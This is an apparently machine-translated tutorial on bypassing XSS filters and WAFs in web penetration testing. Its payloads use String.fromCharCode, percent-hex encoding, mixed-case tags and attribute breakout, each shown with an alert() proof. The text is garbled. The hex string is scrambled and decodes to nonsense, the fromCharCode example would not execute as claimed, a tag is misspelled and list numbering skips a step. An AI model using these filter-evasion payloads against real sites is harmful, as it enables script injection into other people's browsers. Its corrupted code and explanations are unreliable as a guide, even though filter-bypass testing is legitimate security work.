Bypass XSS filter rules: advanced Web penetration testing XSS tutorial

I believe everyone has had this experience when conducting penetration tests. It is clear that there is an XSS vulnerability, but there are XSS filtering rules or WAF protection, which makes us unable to use it successfully, for example, if we enter <scirpt> alert ("hi") </script>, it is converted to <script> alert (> xss detected <) </script>, in this case, our XSS will not take effect. Here are some simple methods to bypass XSS:

1. Bypass magic_quotes_gpc

Magic_quotes_gpc = ON is the security setting in php. After it is enabled, some special characters will be rotated, for example, '(single quotation marks) is converted to \', "(double quotation marks) is converted \", \ \\

For example, <script> alert ("xss"); </script> is converted to <script> alert (\ "xss \"); </script>, in this way, our xss will not take effect.

For websites with magic_quotes_gpc enabled, we can bypass the String. fromCharCode method in javascript. We can convert alert ("XSS")

String. fromCharCode (97,108,101,114,116, 40, 34, 88, 83, 83, 34, 41) then our XSS statement becomes

<Script> String. fromCharCode (97,108,101,114,116, 40, 34, 88, 83, 83, 34, 41, 59) </script>

String. fromCharCode () is a String method in javascript to convert ASCII to a String.

How do I convert ASCII codes?

We can do it with hackbar, Firefox's extended tool https://addons.mozilla.org/en-US/firefox/addon/hackbar/.

Finally, use the <script> converted file here </script> to include it. 2. HEX Encoding we can perform hex Encoding on our statements to bypass XSS rules. For example, <script> alert ("xss"); </script> can be converted: % 3c % 73% 63% 72% 69% 70% 3e % 74% 6c % 61% 65% 72% 74% 28% 22% 78% 73% 73% 3b % 3c % 2f % 22% 29% 73% 63% 72% 3e online tools: during the testing process, we can change the case sensitivity of the test statement to bypass XSS rules such as: <script> alert ("xss"); </script> can be converted: <ScRipt> ALeRt ("XSS"); </sCRipT> 4. Disable tags. Sometimes we need to disable tags to make our XSS take effect, for example: "> <script> alert (" Hi "); </script> reference: http://www.breakthesecurity.com/2011/12/bypassing-xss-filters-advanced-xss.htmlhttp://www.exploit-db.com/papers/15446/